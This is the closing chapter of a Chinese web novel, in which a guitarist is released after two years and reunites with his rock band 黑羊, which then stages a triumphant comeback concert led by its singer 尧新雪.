“太好了你终于出来了,他们都不告诉我发生了什么……”薛仰春哇哇大哭。 尧新橙的头被撞得晕晕的,听着薛仰春的声音只感觉到恍如隔世。他伸出手想要推开薛仰春,最后却只笨拙地说了一句:“嗯。” 好不容易拉着薛仰春从地上站起来,尧新橙就捕捉到了不远处的笑声,他的心一颤,转过头就尧新雪站在那里,看着他们弯着眼睛笑。 这一幕和过去的很多时刻都是这样相似,总是他们两个在打闹,尧新雪就在旁边看笑话似的,而罗槐则老老实实地站在尧新雪身后,眼底也会露出笑意。 这似曾相识的感觉竟然令尧新橙的眼睛一酸,他的呼吸急促,加快了脚步冲上去,毫不犹豫地抱住了尧新雪。 他的手紧紧地抱着尧新雪的腰,泪水从眼眶里溢出。 尧新雪则温柔地回抱住他,低声道:“辛苦了。” 四个人就这样一块回去,薛仰春一路都在叽叽喳喳,告诉着尧新橙近两年发生的事,罗槐则打着一把巨大的伞,将所有人都罩在了伞下。 尧新雪扶了扶墨镜,弯着眼睛道:“我想送给你一个礼物。” 薛仰春闻言先是翻了个白眼,尧新橙的嘴角勾着笑,三个人果不其然地看到了车内崭新的吉他。 薛仰春大叫道:“一点都不出乎意料,队长每次送东西都是乐器!” 尧新雪懒洋洋地拉开副驾坐进去,无所谓道:“不要可以退给我。” 尧新橙抱着那把吉他,微微笑道:“我,很喜欢。谢谢,哥哥。”- 五个月后,在互联网上销声匿迹长达两年之久的黑羊乐队宣布将要举办了=一场回归演唱会。 整个国家甚至是全球的人都沸腾了——这支乐队两年前传出了队长兼主唱尧新雪被绑架,右手残疾的谣言,传出了吉他手尧新橙涉嫌杀人入狱的消息,曾经深深地陷入舆论的漩涡里,但如今它依然被无数人狂热地喜爱着。 黑羊乐队从一场名不经传的地下摇滚比赛迅速崛起,成为世界首屈一指的摇滚乐队,而后又如同流星划过夜空般转瞬即逝,迅速地消失在了所有人的视野里。但长达两年的时间并没有磨灭掉乐迷们的热情,没有人会忘记舞台上那一抹夺目的蓝色。 只要听过那个人的声音,只要看到过他的面容,那这辈子一定都无法忘记——尧新雪。 在售票通道开启的那一刻,整个网络都几近瘫痪了。 有人因为抢到了票喜极而泣,有人则懊丧不已。 七万人的场地都已经坐满,在心里静默倒数着的人们都迫切地望向了舞台中央。 他们心急难耐,几乎在灯光暗下来的那一刻就已经开始忍不住尖叫。 舞台上的大屏幕是黑羊的LOGO,巨大的黑色羊头与六角雪花交错着形成标识,眩目的光让舞台上的所有设备都只剩下了黑影。 居于中央的架子鼓旁,薛仰春重重地在鼓面上敲下了第一个音。 全场在那一秒想起了疯狂的尖叫,紧随而来的是低沉的贝斯与极具节奏感的吉他声。头顶的灯光落在了这三位成员上,大屏幕清晰地呈现着他们的面容。 多么熟悉,多么精彩。 每一个人看到他们都忍不住热泪盈眶,因为钟爱的乐队依然在那里,没有任何改变。 大屏幕上切到了观众席的中央,一个身穿着黑色外套的青年低着头,兜帽流落除了一绺蓝灰色的卷发,他握着麦,适时地抬起头,与镜头对视。 只是那一秒,整个场馆都爆发出了激烈的欢呼声与尖叫,尧新雪随手摘了自己的兜帽,握着麦从旁边的阶梯上跑了下来。 “尧新雪!!尧新雪!!” “黑羊!黑羊!” …… 无数尖叫与欢呼排山倒海般涌来,灯光追逐着尧新雪,无数双手在道路的两旁伸出,疯狂地向他挥舞着。 只要他出现,所有谣言就不攻自破;只要他出现,就是人群的焦点。 他一路走过,等他回到舞台中央时,舞台前的金色焰火就迸溅而出。 热浪、彩带、烟雾、焰火,视觉的刺激让所有人再一次狂热地叫喊起来,他们举高着自己的双手,不断地摇摆着。 尧新雪笑了一下,他握着麦缓缓说了一句:“晚上好。” 回应他的便是无限的掌声与尖叫,声浪仿佛要掀翻整个场馆。 当他开始了第一句唱词,整个场馆就不约而同地安静了下来,只剩下他那婉转的声音。 尧新雪穿着最简单的黑色无袖背心,绑着高马尾,微微张开了嘴唇。 整场演唱会选了一专《断头皇后》、二专《塞壬》与新专《鲜花》,将近三十首歌,每一首歌都表现得如此扣人心弦,酣畅淋漓。 时隔整整两年,乐队的配合甚至更上一层楼,天衣无缝。 而主唱尧新雪的技巧更是趋近完美,他的歌喉本就动人,如今真假音的衔接之流畅,歌曲分饰两角时的分明,每一句歌词所表现出来的细腻情感,更是令人赞叹不已,闻者落泪。 曾经有人一度唱衰这支乐队会就此走向没落,可仅仅是这一场复出的演唱会,就让所有人都明白,黑羊乐队依旧是顶流,依然凌驾于所有乐队之上。 那是一场当之无愧的盛典,无数人在那一刻都泪流满面。 当看到尧新雪拿起了小提琴,当看到他一如往日,姿态优雅,握着琴弓如同引颈自戮的天鹅般时,所有听众都发出了惊叹声。 这个世界上不会再有第二个尧新雪了。 蓝色的长发如同倒流的蓝河,他雪白的手指修长而毫无瑕疵,美妙的乐音随他拉动琴弓时流淌而出,所有人的心也都在那一刻不约而同地静了下来。 弥散的灯光打落在他的脸上,尧新雪的嘴角勾着一抹温柔的笑。 这场由他主导的盛会将永不落幕,黑羊乐队还要走到更高更远的地方。 一曲终了,尧新雪睁开了眼睛。 台下是密密麻麻的人,目之所及更是蓝色的星光,如同浩瀚的海洋。 他们无一不在注视着他,无一不在为他热泪盈眶。 尧新雪举起右手,所有人便也纷纷跟着他举起自己的手。 “我们在过去经历了很多很多困难,可我们依然活着,依然能站在这里。” “我们一起走过了多远的路啊。” 尧新雪握着麦,笑着说。 可台下的人却疯狂地想要回应他,每一个人都歇斯底里地试图告诉他,我们真的走了好久好久。 一滴剔透的汗珠流过尧新雪的额角,因为动作,它沿着尧新雪的脸颊滑落,竟然这么像一道泪痕。 他蹲下身,望着台下的人认真道:“以后黑羊还会走向更远的地方,我们再一起走下去吧。” 这不像一个承诺,只是尧新雪单方面的询问。 他一个人站在那里,可面前却有成千上万的人回应他,震声喊道:“好!!!!” 就让这场以你为主角的盛宴永不落幕吧,让这个世界为你尖叫与喝彩,你将拥有无数的鲜花与掌声- 全文完-魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m